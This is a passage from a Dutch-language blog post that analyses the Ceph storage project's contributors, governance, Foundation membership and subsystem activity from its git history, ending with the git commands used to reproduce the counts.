ingenieurswerk doen aan hetzelfde subsysteem, in het openbaar.\nQiAnXin verdient een aantekening, want het is geen naam die de meeste opslagmensen kennen. Het is een Chinees cyberbeveiligingsbedrijf, in 2014 opgericht als dochter van Qihoo 360 en rond 2016 afgesplitst; Qihoo 360 verkocht zijn resterende belang van 22,6% in april 2019 aan bedrijven verbonden aan China Electronics Corporation, en CEC had 38,3% bij de IPO-aanvraag in 2020. De bedrijfsgeschiedenis is leesbaar in het git-log: hun belangrijkste bijdrager, Xuehan Xu, heeft commits onder @360.cn in 2017 en 2018 en @qianxin.com vanaf 2021. Een beveiligingsbedrijf zonder opslagproduct te verkopen heeft 900 commits in Ceph\u0026rsquo;s toekomstige OSD gestopt. Dat is een open project dat werkt zoals op de doos staat.\nWie Ceph onderhoudt, en wie hen betaalt Code schrijven is één ding; de sleutels hebben is een ander. Ceph houdt zijn bestuur in de repository, in doc/governance.rst, en het Ceph Steering Committee staat er met naam en e-mailadres. Daardoor is de vraag maintainer-naar-werkgever uit een primaire bron te beantwoorden in plaats van uit gokwerk.\nAchtendertig zetels, herleid naar de werkgever in het door elk lid zelf opgegeven adres:\nWerkgever Zetels Red Hat 16 IBM 9 Clyso 3 Persoonlijk adres (Anthony D\u0026rsquo;Atri, Myoungwon Oh) 2 croit — Igor Fedotov 1 Bloomberg — Joseph Mundackal 1 Intel — Yingxin Cheng 1 Ceph Foundation — Zac Dover 1 XSKY — Haomai Wang 1 ZTE — Xie Xingguo 1 Ubiquiti — Yehuda Sadeh 1 11:11 Systems — David Orman 1 Red Hat en IBM hebben 25 van de 38 zetels — 65,8%. Tegen 67,0% van de commits van het decennium en 68,6% van die van de laatste drie jaar. Het bestuursorgaan spiegelt de code bijna exact, en dat is de gezonde richting: de mensen die het werk doen hebben het te zeggen, en niemand heeft dan ook een veto dat hij niet heeft verdiend.\nZetels van het Ceph Steering Committee per werkgever — 25 van de 38 zijn één bedrijf Wie Ceph onderhoudt, naar wie hen betaalt 38 zetels in het Ceph Steering Committee, uit het adres dat elk lid in doc/governance.rst opgeeft Red Hat IBM Clyso persoonlijk adres elk één zetel 16 9 3 2 8 croit, Bloomberg, Intel, Ceph Foundation, XSKY, ZTE, Ubiquiti, 11:11 Systems Red Hat + IBM: 25 van 38 zetels, 65,8% Tegen 67,0% van de commits van het decennium en 68,6% van die van de laatste drie jaar. Het comité spiegelt de code. XSKY en ZTE hebben nog zetels. Geen van beide bedrijven heeft sinds 2020 een regel aan Ceph gecommit. Vijf van de 38 hebben geen commit sinds 2021, of helemaal geen. Sturen is niet hetzelfde werk als code schrijven \u0026#8212; maar twee van die zetels horen bij bedrijven die het project volledig hebben verlaten. De 38 zetels van het Ceph Steering Committee naar de werkgever in het opgegeven adres van elk lid, uit doc/governance.rst. De samenstelling van het comité volgt de commitverdeling nauw. Twee details zijn het uitlichten waard, en beide zeggen iets goeds.\nXSKY en ZTE hebben nog steeds zetels. Geen van beide bedrijven heeft sinds 2020 een regel gecommit — de laatste commit van Haomai Wang is 2020-03-18, die van Xie Xingguo 2020-07-24, na 750 commits in het decennium. Ceph heeft ze er niet uitgezet. Een project dat jaren nadat hun werkgever is weggelopen een zetel warm houdt voor de mensen die grote delen van BlueStore en de OSD hebben gebouwd, behandelt bijdragers niet als wegwerpartikel.\nYehuda Sadeh zit in het comité met een adres op @ui.com. Hij schreef RADOS Gateway — de S3- en Swift-voordeur op RADOS, de Reliable Autonomic Distributed Object Store waar al het andere in Ceph op staat — te beginnen bij DreamHost in 2008, via Inktank, Red Hat en IBM: 972 commits in het decennium alleen en duizenden ervoor. Hij schreef in juli 2025 nog cephx-cryptocode. Toen deed hij in juni 2026 precies één commit, doc: governance/csc: update email address, waarmee hij zijn eigen regel naar Ubiquiti veranderde. Hij wisselde van werkgever en hield zijn zetel. Je staan reist hier met je mee, en dat is een van de betere dingen aan in de openheid werken.\nDe componentleiders De componentleiders bezitten elk subsysteem van dag tot dag:\nComponent Wat het is Leider Werkgever Cephadm Cluster uitrollen en beheren Adam King Red Hat CephFS Het POSIX-bestandssysteem Venky Shankar Red Hat Crimson De OSD van de volgende generatie Matan Breizman Red Hat Dashboard De webbeheerinterface Afreen Misbah IBM RADOS De objectopslag waar al het andere op staat Radosław Zarzyński Red Hat RBD RADOS Block Device — virtuele schijven Ilya Dryomov Red Hat RGW RADOS Gateway — de S3- en Swift-laag Adam Emerson, Eric Ivancich Red Hat NVMe-oF NVMe over Fabrics-gateway Aviv Caro IBM Seastore De opslagbackend van Crimson Yingxin Cheng Intel Tien genoemde leiders, negen bij Red Hat of IBM, en Seastore — de opslagbackend van Crimson — geleid vanuit Intel. Daarboven zit de Executive Council van drie personen, ingesteld toen Sage Weil vertrok: Dan van der Ster (Clyso), Neha Ojha (Red Hat), Patrick Donnelly (IBM). Clyso heeft een derde van het hoogste bestuursorgaan op 0,3% van de commits van het decennium — de raad is om oordeel en staan gebouwd, niet om aantallen.\nDe maintainers verhuisden, en de code bleef Het sterkste argument dat Ceph een echte gemeenschappelijke voorziening is in plaats van het product van één bedrijf, is wat er gebeurt als zijn maintainers van baan wisselen. Elk van deze is via adressen in de repository na te trekken:\nMaintainer (huidige werkgever) Loopbaan, volgens het git-log Laatste commit Igor Fedotov (croit) — BlueStore Mirantis (2015–17) → SUSE (2017–24) → croit (2021–) 2026-08-24 Kefu Chai (Proxmox) — kern, build Red Hat (2015–22, 4.770 commits) → XSKY → Proxmox (2025–) 2026-08-18 Radosław Zarzyński (Red Hat) — leider RADOS Mirantis (2015–17) → Red Hat (2017–) 2026-06-16 Dan van der Ster (Clyso) — Executive Council CERN (2013–22) → Clyso (2023–) 2026-03-18 Zac Dover (Ceph Foundation) — documentatie onafhankelijk → Clyso → Ceph Foundation 2026-07-23 Yehuda Sadeh (Ubiquiti) — auteur van RGW DreamHost → Inktank → Red Hat → IBM → Ubiquiti 2026-06-08 Mark Nelson (Clyso) — prestaties DreamHost → Inktank → Red Hat → Clyso 2024-04-16 Xuehan Xu (QiAnXin) — Crimson Qihoo 360 (2017–18) → QiAnXin (2021–) 2026 Elk drie werkgevers, in sommige gevallen vier, en het werk ging door bij elke overstap. Igor Fedotov heeft nu twee Ceph-strategieën van zijn werkgevers overleefd en onderhoudt nog steeds de motor die je bytes op de schijf zet. Het eerlijke antwoord op “wat als een leverancier vertrekt” is dus dit: de ingenieurs gaan door.\nWie Ceph echt draait Bijdragen is maar de helft. Hier is wie hardop zegt dat hij Ceph draait, met de getallen die ze zelf hebben gepubliceerd.\nOrganisatie Publiek verklaarde uitrol CERN, de Europese Organisatie voor Kernonderzoek 19 productieclusters, ~73 PB ruw, plus 5 meer in een nieuw datacenter — de opslagruggengraat onder de IT-cloud van CERN Bloomberg Objectopslag van honderden TB tot ruim 8 PB; 6 PB ruwe capaciteit live toegevoegd, een stijging van 50% aan een cluster dat online was, in minder dan een uur Wikimedia Foundation Vijf productieclusters van Ceph — blok voor Cloud VPS, S3 via multisite RGW, en CephFS voor Airflow, Dumps en ML-Lab DigitalOcean Ceph drijft zijn Block Storage-dienst via RBD, met “hundreds of enterprise-class SSDs” per regio en 3× replicatie over servers en racks OVHcloud “Persistent storage for virtual machines is ensured by Ceph RADOS Block Device” in zijn On-Prem Cloud Platform Proxmox Levert Ceph als de ingebouwde hyperconvergente opslagoptie in Proxmox VE CERN is een nadere blik waard, want het is het meest gedetailleerde publieke verslag dat iemand heeft gepubliceerd. Uit een presentatie van CERN IT in september 2024 door Enrico Bocchi:\nCeph bij CERN, per toepassing Ruwe grootte Clusters Blokken — OpenStack Cinder/Glance, HDD 3× replica 25,1 PB 5 Blokken — flash, EC 4+2 976 TB 2 Bestandssysteem — OpenStack Manila, K8s/OKD, HPC, HDD 3× replica 13,4 PB 5 Bestandssysteem — flash, 3× replica 1,7 PB 4 Objecten — S3, Swift, back-ups, HDD EC 4+2 28,2 PB 2 Objecten — multi-site, EC 4+2 3,6 PB 1 EC 4+2 is erasure coding, vier datablokken op twee pariteitsblokken. HPC is high-performance computing, K8s is Kubernetes en OKD is de upstream-distributie ervan. De cijfers zijn ruwe capaciteit, voor de overhead van replicatie en coderen.\nNegentien productieclusters, gedraaid op het uitgesproken beginsel “don\u0026rsquo;t put all your eggs in the same basket”, met vijf meer op weg naar een nieuw datacenter. De geschiedenis van de dienst is een stille reclame voor de software: 300 TB als proefopstelling in 2013, 3 PB in productie voor RBD in de december daarop, in 2016 van 3 PB naar 6 PB uitgebreid zonder uitval, S3 en CephFS in productie in 2018, in 2022 een heel CephFS-cluster fysiek verhuisd zonder uitval, kernel-RBD in productie in 2023.\nWat het bij CERN draagt is het sprekende deel: GitLab, OpenStack, OpenShift, Kubernetes, Harbor, Jenkins, Grafana, Kafka, OpenSearch, InfluxDB, HTCondor, Slurm, Jupyter, Spark, Zenodo, Indico, en de virtualisatie van NFS, AFS en CVMFS. Ceph is daar geen zijproefje. Het is de vloer waar de rest van het gebouw op staat.\nEn het cijfer voor de hele gemeenschap, uit de eigen aankondiging van de Squid-release door de Linux Foundation: 1 exabyte aan data over meer dan 3.000 Ceph-clusters.\nDie exabyte is een vloer, geen totaal Dit is het deel om bij stil te staan, want het verandert hoe je elk adoptiecijfer over Ceph leest.\nDe telemetrie van Ceph is opt-in. Je wordt alleen meegeteld als iemand ceph telemetry on --license sharing-1-0 draait. Iedereen die het nooit heeft gedraaid is onzichtbaar, en in de praktijk zijn dat de meesten, want het is niet de standaard en niets zeurt erover.\nVoeg daar Proxmox aan toe. Proxmox VE levert Ceph als zijn hyperconvergente opslagoptie: drie nodes, een paar klikken in de web-UI, pveceph eronder, en je hebt een Ceph-cluster. Een zeer groot aantal mensen draait Ceph in productie zonder zich ooit als Ceph-gebruiker te beschouwen. Het zijn Proxmox-gebruikers. Ze zijn nooit op een mailinglijst gegaan, ze zullen nooit een aanbeveling schrijven, ze hebben telemetrie niet aangezet, en ze komen in geen van de tabellen hierboven voor.\nElk klein hostingbedrijf, elke beheerde-dienstverlener, elke universiteitsafdeling, elk homelab dat stilletjes in productie ging en elk kantoorcluster van drie nodes in die categorie is een echte Ceph-uitrol die geen enkel cijfer in dit bericht meetelt. Hetzelfde geldt voor iedereen die Ceph via Rook op Kubernetes krijgt, of binnen een leveranciersapparaat dat nooit zegt wat er onder de kap zit.\nDus 1 EB over 3.000 clusters is het getal van de clusters die hun hand hebben opgestoken. De echte geïnstalleerde basis is een flink stuk groter en niemand weet met hoeveel. Dat is een vreemde plek voor infrastructuursoftware — normaal weet de leverancier het, want je moest een licentie kopen — en het is een direct gevolg van dat het ding gratis is.\n478 organisaties hebben code ingebracht Het commit-log is tegelijk een lijst van wie Ceph op schaal draait, want een bedrijf dat patches instuurt is bijna altijd een bedrijf dat het ding draait. Over het decennium komen 478 verschillende organisatiedomeinen voor, 140 daarvan met vijf commits of meer.\nDe namen, gegroepeerd, alleen uit het git-log:\nMakers van chips, schijven en hardware: Intel, Samsung, Seagate, SanDisk, Western Digital, Quantum, Mellanox, Lenovo, Fujitsu, Hitachi, Nokia, Arm, Linaro, HiSilicon, Synology, 45Drives Clouds en hosters: DigitalOcean, OVH, IONOS, Akamai, Linode, Hetzner, Binero, City Network, iland, 11:11 Systems, Vexxhost, StackHPC, Canonical, Deutsche Telekom, China Telecom, China Unicom, China Mobile, Chunghwa Telecom Internet- en zakelijke gebruikers: Bloomberg, eBay, GoDaddy, Flipkart, Wikimedia, Naver, LINE, Kakao, SK Telecom, Alibaba, Tencent, Baidu, ByteDance, Kuaishou, UnionPay, SenseTime, Sangfor, Micro Focus, MITRE, Igalia, Walmart Labs Opslagleveranciers en integrators: SUSE, Mirantis, XSKY, EasyStack, Inspur, UMCloud, Kylin, UnitedStack, H3C, Xtao, Eisoo, Cloudin, Istuary, ProphetStor, SoftIron, Bigtera, Cloudbase Solutions, Digiware, Bisect, 42on, croit, Clyso, Proxmox, DreamHost Onderzoek en onderwijs: CERN, het Institute of Software van de Chinese Academy of Sciences (ISCAS), Pennsylvania State University, Boston University, de University of Michigan, Carnegie Mellon University, plus de Associate-leden van de Foundation — FAS Research Computing aan Harvard, het Greek Research and Technology Network (GRNET), Monash University, het South African Radio Astronomy Observatory (SARAO), de Science and Technology Facilities Council (STFC), SWITCH, SLAC aan Stanford, en het Center for Research in Open Source Software (CROSS) aan UC Santa Cruz Niet al die zijn actueel, en dat is het punt van naar een decennium kijken. Het laat de volle spanwijdte zien van wie hard genoeg op deze software heeft geleund om patches terug te sturen, en hoe breed die spreiding is geweest.\nDe spelers die zeggen dat ze Ceph steunen, tegen wat ze leveren Het lidmaatschap in lagen van de Foundation is waar bedrijven steun verklaren. De lagen volgen het ingenieurswerk niet, en de duidelijkste illustratie komt van de drie Diamond-leden die in de eigen aankondiging van de Ceph Squid-release door de Linux Foundation worden aangehaald.\nDiamond-lid Wat ze publiek zeiden Commits, laatste 3 jaar IBM — Vincent Hsu, IBM Fellow, CTO \u0026amp; VP of IBM Storage “reinforce our trust in Ceph and our commitment to open source” 11.091 (met Red Hat) Bloomberg — Matthew Leonard, Head of Storage Engineering “Our Diamond Membership is a symbol of our commitment to the future of Ceph and its growing community” 220 45Drives — Doug Milburn, Co-founder and President “our unwavering commitment to open-source excellence” 0 De uitspraak van IBM wordt gedekt door de grootste ingenieursinzet in de geschiedenis van het project, en dan nog wat. Die van Bloomberg wordt gedekt door 220 commits, een zetel in het Steering Committee en een productieomgeving van 8 PB waar ze openlijk over praten — naar elke maat een serieuze bijdrage. 45Drives bouwt en verkoopt Ceph-hardwareapparaten en betaalt mee aan de gedeelde infrastructuur; dat is ook een echte bijdrage, en het is geen code.\nHet volledige beeld over de lagen:\nLid Laag Commits, laatste 3 jaar IBM Diamond 11.091 (met Red Hat) Bloomberg Diamond 220 CLYSO Diamond 153 45Drives Diamond 0 Western Digital Platinum 0 42on Gold 1 croit Silver 157 DigitalOcean Silver 13 Canonical Silver 9 OVHcloud, Sony, OSNexus, CloudFerro Silver elk 0 En in de andere richting — vier van de zeven grootste bijdragers zijn helemaal geen lid:\nBijdrager Commits Lid? QiAnXin 597 Nee IONOS 498 Nee Intel 279 Niet meer Proxmox 249 Nee Laag bij de Foundation tegen commits — het geld en de code staan los van elkaar Wat ze betalen, tegen wat ze schreven Laag bij de Ceph Foundation tegen commits op main, 2023-08-27 tot 2026-08-27 200 400 600 commits DIAMOND IBM, met Red Hat 11.091 Bloomberg 220 CLYSO 153 45Drives helemaal niets PLATINUM Western Digital helemaal niets GOLD 42on 1 SILVER croit 157 DigitalOcean 13 Canonical 9 zes andere Silver-leden helemaal niets, alle zes GEEN LID QiAnXin 597 IONOS 498 Proxmox 249 Cafe Bazaar 118 De zes Silver-leden met niets: OVHcloud, Sony Interactive Entertainment, OSNexus, CloudFerro, Intelligent Systems, LongVan. Twee van de vier leden in de hoogste laag schreven niets. De derde en vijfde grootste bijdragers aan Ceph zijn helemaal geen lid. Laag bij de Foundation tegen commits over de laatste drie jaar. Sponsoring en ingenieurswerk zijn verschillende bijdragen — de lagen meten het eerste, niet het tweede. Ik lees dat niet als hypocrisie en ik zou willen dat niemand anders dat doet. Het geld van de Foundation betaalt het upstream-testlab, de continue integratie die elke pull request afgrendelt, Cephalocon en het gemeenschapspersoneel — dingen die Ceph niet zou kunnen missen, en dingen die een hardwareleverancier die Ceph-apparaten levert terecht financiert. Western Digital, DigitalOcean en OVHcloud verkopen allemaal producten die op Ceph leunen, en ze betalen in de gemeenschappelijke voorziening die het overeind houdt. Dat is een eerlijke ruil.\nDe praktische les is smal: lees de ledenpagina als een lijst van wie de gedeelde infrastructuur financiert, en het commit-log voor wie de code schrijft. Het zijn verschillende vragen met verschillende antwoorden, en beide antwoorden zijn nuttig.\nDe oprichters, acht jaar later De Foundation ging op 12 november 2018 van start. De lijst staat twee keer vast — de aankondiging van de Linux Foundation en de persberichtversie — en ze komen exact overeen: dertien Premier-leden, tien General, acht Associate.\nTegen de ledenpagina van vandaag: vier van de dertien Premier-leden staan er nog onder hun eigen naam (Canonical, DigitalOcean, OVHcloud, Western Digital), vijf als je IBM als de zetel van Red Hat meerekent. Twee van de tien General-leden zijn over — croit en Intelligent Systems.\nEn alle acht Associate-leden staan er nog. Hun volledige namen, zoals de oprichtingsaankondiging ze geeft:\nBoston University Information Services and Technology CERN — de Europese Organisatie voor Kernonderzoek FAS Research Computing, Harvard University The Greek Research and Technology Network (GRNET) Monash University, Melbourne The South African Radio Astronomy Observatory (SARAO) The Science and Technology Facilities Council (STFC) bij UK Research and Innovation (UKRI) The Center for Research in Open Source Software (CROSS) aan de University of California, Santa Cruz — waar Ceph in de eerste plaats is geschreven, als het promotiewerk van Sage Weil met Scott Brandt, Ethan Miller, Darrell Long en Carlos Maltzahn; het oorspronkelijke artikel uit 2006 staat nog op ceph.io Acht uit acht, over acht jaar.\nDe betalende leden wisselden. De universiteiten en onderzoekslaboratoria, die gratis toetreden, hebben het acht jaar volgehouden zonder dat er één is vertrokken. Dat zijn de mensen die Ceph op schaal draaien voor de wetenschap, en niet één is weggelopen.\nDe Quincy-documentatie draagt nog de ledenlijst zoals die rond 2022 stond, en dat geeft het halve punt: twaalf van de vierentwintig commerciële leden in die momentopname zijn sindsdien weg, precies de helft. Het tempo van Ceph over die periode veranderde niet.\nOver croit, aangezien het mijn werkgever is en een van de overlevers. croit GmbH trad op dag één toe als oprichtend General-lid en is acht jaar later nog steeds lid — een langere reeks dan Intel, SUSE, ZTE, Arm of Samsung haalden. Het is ook 0,3% van de commits van het decennium. Blijven hangen is niet hetzelfde als bouwen, en ik ga lange adem niet als bijdrage verkleden voor het bedrijf dat mij betaalt.\nDe handleiding is één persoon, en de Foundation betaalt hem Rij 7 van de decenniumtabel is “Ceph Foundation”, 691 commits. Dat is vrijwel één man.\nZac Dover heeft 1.060 commits over het decennium, bijna volledig documentatie. Over de laatste drie jaar is hij 28,4% van alles in doc/ — de grootste enkele bijdrager, vóór zowel Red Hat als IBM. Zijn adresgeschiedenis loopt @gmail.com, dan @clyso.com, dan @proton.me, in Ceph\u0026rsquo;s eigen vastlegging gekoppeld aan de Ceph Foundation.\ndoc/, laatste drie jaar Commits Aandeel Ceph Foundation 499 28,4% Geen werkgever te zien 383 21,8% Red Hat 379 21,5% IBM 333 18,9% doc/ is de ene map waar de grootste enkele bijdrager noch Red Hat noch IBM is, en dat zie je. De Ceph-handleiding is beter dan de meeste infrastructuursoftware van deze omvang voor elkaar krijgt. Een technisch schrijver betalen die aan geen leverancier verantwoording schuldig is, is het slimste dat de Foundation met het geld doet.\nIndividuen kunnen nog steeds het verschil maken De grootste individuen van het decennium, gegroepeerd op auteursnaam:\nPersoon Commits decennium Werkgever(s) Sage Weil 7.517 Red Hat — schepper, vertrok 2022 Kefu Chai 5.538 Red Hat → Proxmox Casey Bodley 2.472 Red Hat Patrick Donnelly 2.330 Red Hat → IBM Jason Dillaman 1.629 Red Hat — vertrok 2021 Radosław Zarzyński 1.607 Mirantis → Red Hat Samuel Just 1.415 DreamHost → Inktank → Red Hat John Mulligan 1.300 Red Hat Yingxin Cheng 1.202 Intel Zac Dover 1.060 Ceph Foundation Yehuda Sadeh 972 Red Hat → IBM → Ubiquiti Alfredo Deza 930 Red Hat — vertrok 2019 Eenentwintig mensen schreven de helft van de commits van het decennium; eenennegentig schreven 80%. Dat is normaal voor een grote C++-codebase, en het is ook waarom individuen hier zo zwaar wegen.\nHet duidelijkste bewijs dat de deur open staat: de vijfde plaats over de laatste drie jaar is één ingenieur bij IONOS. Max Kellermann heeft sinds 2024 498 commits — meer dan Intel, Proxmox, Bloomberg, croit of Clyso als bedrijf haalden — over src/mds, src/common, src/mon, src/tools, src/librbd, src/mgr en src/rgw. Hij is 19,3% van al het CephFS-metadatawerk in dat venster, tweede alleen na Red Hat.\nNiemand heeft hem aangesteld. Hij kwam opdagen en begon dingen te repareren, en drie jaar later is hij een van de drukste bijdragers aan een project dat door een Fortune 50-bedrijf wordt gedraaid. Je kunt nog steeds Ceph binnenlopen en meetellen.\nProxmox is de andere kant van dezelfde munt: 249 commits over de laatste drie jaar, waarvan 241 van Kefu Chai sinds 30 september 2025. Proxmox ging in elf maanden van niets naar een Ceph-bijdrager in de top tien door één goede ingenieur aan te nemen.\nRGW: waar het werk echt zit Wil je weten waar het ingenieurswerk van Ceph naartoe gaat, dan is het antwoord objectopslag, en de reden is eenvoudig: RGW heeft de langste weg te gaan voordat het gelijk is aan het ding waarmee het concurreert.\nsrc/rgw is over het decennium het grootste functionele subsysteem in Ceph — 6.958 commits, vóór de 5.827 van Crimson, de 4.499 van de OSD, de 3.848 van het dashboard, de 2.560 van BlueStore en de 2.546 van CephFS. Het is vier keer de omvang van de inzet op de bloklaag. In de laatste drie jaar nam het 1.705 commits, tweede alleen na Crimson, en Crimson is een herbouw op een lege akker. Op code die al levert is RGW het grootste doorlopende functieprogramma in het project.\nDe S3 van Amazon is een bewegend doel met een enorm API-oppervlak, en elk jaar groeien er functies bij die klanten daarna verwachten van alles dat zich S3-compatibel noemt. Dus jaagt RGW erop. Tel de laatste drie jaar aan RGW-commit-onderwerpen per functiegebied en de vorm van die jacht is duidelijk:\nRGW-werk in de laatste 3 jaar Commits die het noemen Multisite-replicatie 94 Accounts 94 IAM — identity and access management 72 Policy 71 Bucketmeldingen 69 STS (tijdelijke inloggegevens) 67 Topics 50 Roles 47 Restore 41 POSIX-/bestandssysteemgateway 40 Versleuteling aan serverkant (SSE) 38 Multipart-upload 32 Lifecycle 16 KMS — key management service 12 S3 Select 11 Checksums 11 Cloud transition 10 Versioning, CORS, object lock, bucket logging, tagging 28 samen (Trefwoordtellingen over 1.705 commit-onderwerpen, dus een commit kan in meer dan één rij voorkomen — het punt is de verdeling, niet een precies totaal.)\nDat is geen onderhoud. Dat zijn identiteitsaccounts, rollen en policies, sessietokens, bucketmeldingen en topics, SSE-KMS, object lock, lifecycle-regels, S3 Select, checksums, cloudlagen en multisite-replicatie — de functielijst van AWS, die wordt uitgebouwd. Lees de recente onderwerpen en je vindt werk aan het verifiëren van SigV4-signaturen, het verwerken van x-amz-content-sha256, presigned URL\u0026rsquo;s. Priegelig compatibiliteitsdetail, het soort dat alleen uitmaakt omdat iemands clientbibliotheek precies het gedrag van Amazon verwacht en er zonder omvalt.\nHet is ook waarom RGW de meest gemengde bijdragerslijst van de grote subsystemen heeft. Over het decennium is Red Hat er 64,3% van, maar Bloomberg (8,6% in het recente venster) en Cafe Bazaar (6,2%) zitten er ook in — bedrijven die grote objectopslag in productie draaien en de dingen repareren die hen bijten.\nWeeg je Ceph af voor S3-werk, dan is dit het getal dat je zou moeten overtuigen. Het gat naar Amazon is waarom RGW meer aandacht krijgt dan iets anders in de boom, en de grootste enkele ingenieursinzet in het project is erop gericht dat te dichten.\nRBD: stabiele code, geen achteruitgang src/librbd is het blokapparaat van Ceph — wat Proxmox gebruikt, wat OpenStack Cinder gebruikt, wat de meeste Container Storage Interface-drivers voor Kubernetes gebruiken. Draai je Ceph, dan draai je vermoedelijk RBD. De commitgrafiek ziet er zo uit:\nRBD-commits per jaar — een onderdeel dat in onderhoud belandt Commits op\u0026#160;src/librbd, per jaar Het blokapparaat van Ceph — wat Proxmox, OpenStack Cinder en de meeste Kubernetes-CSI-drivers gebruiken 0 100 200 300 400 431 2015 477 2016 258 2017 276 2018 209 2019 455 2020 165 2021 85 2022 49 2023 74 2024 45 2025 19 2026 Functiewerk grotendeels klaar Jason Dillaman schreef 281 van de 455 commits van 2020 — blijvende write-backcache en crypto — daarna belandde RBD in onderhoud. 2026 loopt tot 27 augustus. Dit is geen achteruitgang — het is een volwassen onderdeel dat wordt onderhouden in plaats van herbouwd. Commits op src/librbd per jaar. Het zware functiewerk was rond 2020 klaar — Jason Dillaman schreef 281 van de 455 commits van dat jaar, aan de blijvende write-backcache en aan crypto — en het onderdeel is sindsdien in onderhoud beland. 159 commits over de laatste drie jaar, ongeveer één per week, tegen 1.705 voor RGW en 1.944 voor Crimson.\nDat is hoe stabiele code eruitziet, en het is een goede eigenschap. Blokopslag over RADOS is een opgelost probleem. RBD heeft al jaren snapshots, clones, layering, mirroring, versleuteling, live migratie en een blijvende cache, en er is niets zoals de S3-API dat er vooruit op raast, want wat een hypervisor van een blokapparaat wil is in een decennium nauwelijks veranderd. Het functiewerk is klaar. Wat over is, is onderhoud: bugfixes, gelijk blijven lopen met de kernel, af en toe een prestatiewinst.\nZet het bewust tegenover RGW. RGW neemt tien keer de commits omdat het tien keer zo ver te gaan heeft. RBD niet, dus het doet het niet. Een onderdeel dat is opgehouden van vorm te veranderen is geen onderdeel dat verwildert — en zou librbd plotseling 400 commits per jaar nemen, dan zou ik willen weten wat er mis was gegaan, want dat zijn mijn schijven van virtuele machines die het vasthoudt.\nHet ene ding dat je moet weten is dat het de kennis in heel weinig hoofden stopt. RBD is min of meer Ilya Dryomov, die op beide kanten let — upstream Ceph en de rbd-driver in de Linux-kernel. Dat is ongeveer de beste opstelling die er is, en het is nog steeds één persoon diep. Wat je vertelt wie je moet vragen, niet of je moet uitrollen.\nWaar het werk zit Dezelfde koppeling over de boom, decennium en recent venster naast elkaar:\nGebied Leider decennium Aandeel Leider laatste 3 jaar IBM-groep, laatste 3 jr src/mds — CephFS-metadata Red Hat 78,5% Red Hat 56,4% 73,9% src/osd — huidige OSD Red Hat 69,7% Red Hat 56,9% 84,0% src/cephadm — uitrollen Red Hat 66,8% Red Hat 73,7% 92,0% src/rgw — S3 Red Hat 64,3% Red Hat 56,1% 66,7% src/librbd — blok Red Hat 61,1% Red Hat 76,7% 83,0% src/crimson — volgende OSD Red Hat 52,1% Red Hat 42,0% 45,4% doc/ — de handleiding Red Hat 45,6% Ceph Foundation 28,4% 40,5% src/os/bluestore — motor Red Hat 36,9% IBM 46,5% 54,2% src/pybind/mgr/dashboard SUSE 36,6% IBM 57,5% 87,8% Twee dingen zijn hiervan af te lezen. Eigendom: hoe dichter bij de onderdelen die een leverancier verkoopt — uitrolgereedschap, de GUI — hoe meer het één bedrijf is; hoe verder ervandaan — de OSD van de volgende generatie, de opslagmotor, de handleiding — hoe voller, en daar zit de ruimte als je wilt bijdragen op een plek die nog niet in bezit is.\nVolume: op totale commits over het decennium is de rangorde RGW 6.958, Crimson 5.827, de OSD 4.499, het dashboard 3.848, de monitors 2.896, BlueStore 2.560, CephFS 2.546, RBD 1.750, cephadm 1.685. De inzet volgt de afstand-tot-klaar, niet het aandeel in uitrollen. RGW is eerste omdat gelijkheid met S3 nog een lange weg is; RBD zit bijna onderaan omdat blokopslag klaar is.\nBlueStore verdient een eigen regel. Het is de motor die je bytes naar de schijf schrijft, en over de laatste drie jaar is de tweede grootste bijdrager na IBM croit met 18,1% — Igor Fedotov, de hoofdmaintainer ervan, bij een bedrijf van een paar dozijn mensen. Mijn werkgever, dus weeg mij daarnaar. Het punt staat wie zijn cheque ook ondertekent: een klein bedrijf kan de maintainer van een van de meest veiligheidskritische onderdelen in de stack in dienst hebben, en het project is er beter van.\nWie de merge-knop heeft Ik heb ook de merges geteld — 7.893 in de laatste drie jaar, toegeschreven aan wie de knop indrukte:\nOrganisatie Merges Aandeel Red Hat 3.892 49,3% IBM 1.597 20,2% Ceph Foundation 524 6,6% Proxmox 202 2,6% Intel 136 1,7% croit 76 1,0% 69,5% van de merges tegen 68,6% van de commits. De poort en het werk hebben dezelfde vorm. Dit is niet één bedrijf dat de code schrijft en een ander dat bepaalt wat erin landt, en dat is de faalvorm die in bedrijfsmatige open source echt de zorg waard is. Ceph heeft die niet.\nWaar de getallen vandaan komen Alles is reproduceerbaar. Ceph houdt zijn eigen koppeling van bijdrager naar organisatie in de repository — .organizationmap, naast .mailmap, .peoplemap en .githubmap — en documenteert het commando om die te gebruiken.\ngit clone --filter=blob:none --no-checkout https://github.com/ceph/ceph.git cd ceph git show HEAD:.organizationmap \u0026gt; /tmp/orgmap # Ceph\u0026#39;s own documented method, over the last ten years git log --no-merges --since=2016-08-27 --until=2026-08-27 --pretty=\u0026#39;%aN \u0026lt;%aE\u0026gt;\u0026#39; \\ | git -c mailmap.file=/tmp/orgmap check-mailmap --stdin \\ | sort | uniq -c | sort -rn | head -30 # the maintainer-to-employer mapping, straight from the repo git show HEAD:doc/governance.rst | sed -n \u0026#39;/^.. _csc:/,/^\\.\\. _ctl:/p\u0026#39; \\ | grep -oE \u0026#39;\\* [^\u0026lt;]+\u0026lt;[^\u0026gt;]+\u0026gt;\u0026#39; Draai de eerste en je krijgt een kleinere IBM dan de mijne, want de officiële koppeling is verouderd. Hij kent aainscow@uk.ibm.com, bill_scales@uk.ibm.com, ylifshit@ibm.com, rkachach@ibm.com, leonid.usov@ibm.com en de machinaal gegenereerde hostnamen li-*.ibm.com niet. Het eigen gereedschap van het project onderschat de concentratie.\nMijn correcties boven op de koppeling:\nElk adres dat op ibm.com eindigt — inclusief uk.ibm.com, il.ibm.com, in.ibm.com, de.ibm.com en de vormen li-*.ibm.com — is IBM. redhat.com en inktank.com zijn Red Hat, apart weergegeven van IBM maar hetzelfde team sinds oktober 2022. Zeven persoonlijke adressen zijn aan werkgevers toegeschreven waar de repository het zelf bewijst: sage@newdream.net (Red Hat), idryomov@gmail.com (vermeld als idryomov@redhat.com in Ceph\u0026rsquo;s eigen doc/governance.rst), max.kellermann@gmail.com (IONOS), xxhdx1985126@gmail.com (QiAnXin), yuvalif@yahoo.com (IBM), yingxincheng@gmail.com (Intel), shraddha.agrawal000@gmail.com (IBM). Al het andere houdt zijn domein. Persoonlijke adressen blijven “geen werkgever te zien” in plaats van dat er naar wordt gegokt. Kanttekeningen die ik niet kan oplossen. Commits zijn een grove eenheid — een zorgvuldige refactor van 900 regels telt één keer, veertig typefoutcorrecties tellen veertig keer, en niets hier is gewogen. E-maildomeinen zijn onvolmaakt: 